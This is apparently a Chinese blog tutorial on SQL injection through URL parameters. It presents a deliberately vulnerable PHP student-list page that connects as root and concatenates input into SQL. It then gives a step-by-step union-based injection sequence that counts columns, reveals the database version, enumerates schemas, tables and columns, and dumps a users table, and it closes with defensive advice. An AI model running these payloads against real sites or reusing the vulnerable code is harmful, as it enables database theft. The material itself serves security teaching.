通过url后面的参数进行sql注入

通过url后面的参数进行sql注入,也是攻击者经常使用 伎俩,主要是利用了程序员使用了root帐户连接数据库和动态拼接sql指令的弊端。

看下面的例子

 

 如果程序使用以下的代码实现上面的功能,无疑给攻击者开放了大门。

连接数据库:conn.php

<?php
$mysqli = new mysqli('localhost','root','root','demo');
if($mysqli->connect_errno){
    printf("连接数据库失败: %s\n", $mysqli->connect_error);
    exit();
}

$mysqli->query('set names utf8');

连接数据库千万不要使用root帐户,或者使用一个超级权限的帐户,去连接数据库。

上面代码已经给攻击者预留了可乘之机

显示学生列表 student.php

<?php
include 'conn.php';
$condition = '';
if(isset($_GET['no'])){
    $no = $_GET['no'];
    if(!empty($no)){
        $condition = "where no = $no";
    }
}

$sql = "select no,name,sex from student $condition";
//echo $sql;
//die;
$result = $mysqli->query($sql);
if($result === false){
    die($mysqli->error);
}

$arr = [];
while($row = $result->fetch_array()){
    $arr[] = $row;
}
$mysqli->close();

//print_r($arr);

?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>学生列表</title>
    <link rel="stylesheet" href="static/bootstrap-3.3.7-dist/css/bootstrap.css">
</head>
<body>
<div class="container"
     <div class="row">
         <div class="col-md-8 col-md-offset-2">
             <form class="form-inline" method="get" style="margin:30px auto">
                 <div class="form-group" style="width: 100%">
                     <input type="text" class="form-control" style="width: 80%" name="no" placeholder="输入学号">
                     <button type="submit" class="btn btn-primary">查询</button>
                 </div>

             </form>
             <table class="table table-bordered table-hover">
                 <tr>
                     <th>学号</th>
                     <th>姓名</th>
                     <th>性别</th>
                 </tr>
                 <?php foreach($arr as $student){ ?>
                 <tr>
                     <td><?php echo $student['no'] ?></td>
                     <td><?php echo $student['name'] ?></td>
                     <td><?php echo $student['sex'] ?></td>
                 </tr>
                 <?php } ?>
             </table>
         </div>
     </div>
<script src="static/jquery-1.11.3.min.js"></script>
<script src="static/bootstrap-3.3.7-dist/js/bootstrap.js"></script>
</body>
</html>

上面代码中动态构建 sql指令,同样给攻击者又开了一扇大门。

下面是模拟攻击者实施的连环计:

第一步:利用order by 能判断sql指令返回几个字段

在url中依次输入以下地址:

http://phpweb/student.php?no=1001 order by 1 %23

http://phpweb/student.php?no=1001 order by 2 %23

http://phpweb/student.php?no=1001 order by 3 %23

http://phpweb/student.php?no=1001 order by 4 %23

http://phpweb/student.php?no=1001 order by 5 %23

为什么使用的%23而不是#呢,因为由于编码的问题,在浏览器中直接提交#会变成空,所以我们使用url编码后的#,即%23,当传输到后端时,后端语言会对它自动解码成#,才能够成功带入数据库查询。

n依次取1,2,3,4 ....进行测试 当n = 4时,页面出现错误,说明当前查询返回3个字段

当n = 4 时,运行结果如下:

说明sql指令返回三个字段。

第二步:暴出当前库和版本

 输入以下的url

http://phpweb/student.php?no=1001  and 1=2 union select 1,database(),version()  %23

由于第一步已经测出查询结果返回3个字段, union 后面的select 指令的字段个数也要是三个

运行结果如下:

 从运行的结果看,当前执行的数据库是demo,mysql版本是5.7.26

MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。

第三步:暴出其他数据库

 http://phpweb/student.php?no=1001 and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1 %23

通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常

运行的结果是:

 第四步:暴对应数据库的数据表

http://phpweb/student.php?no=1001 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=数据库名的十六进制 limit 0,1%23

同样可以调整limit的值 字符串=》十六进制,使用函数:bin2hex

攻击结果如下:

从上面的运行结果看,demo数据库中有攻击者关心的用户表users

第五步:暴对应数据库、数据表的各个字段

http://phpweb/student.php?no=1001 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=库名十六进制  and table_name=表名十六进制 limit 0,1 %23

可以调整limit的值

运行结果如下:

 上面显示了users数据表中各个字段

第六步:暴数据(脱库)

http://phpweb/student.php?no=1001 and 1=2 union select 1,字段名,字段名 from 库名.表名 limit 0,1 %23

可以调整Limit的值

运行结果如下:

 最后一步,攻击者得到users数据表中所有记录,其它数据表同样也能获取数据

如何防范攻击者的sql注入呢?

 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。

2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

发布了159 篇原创文章 · 获赞 45 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/lsmxx/article/details/104075616
今日推荐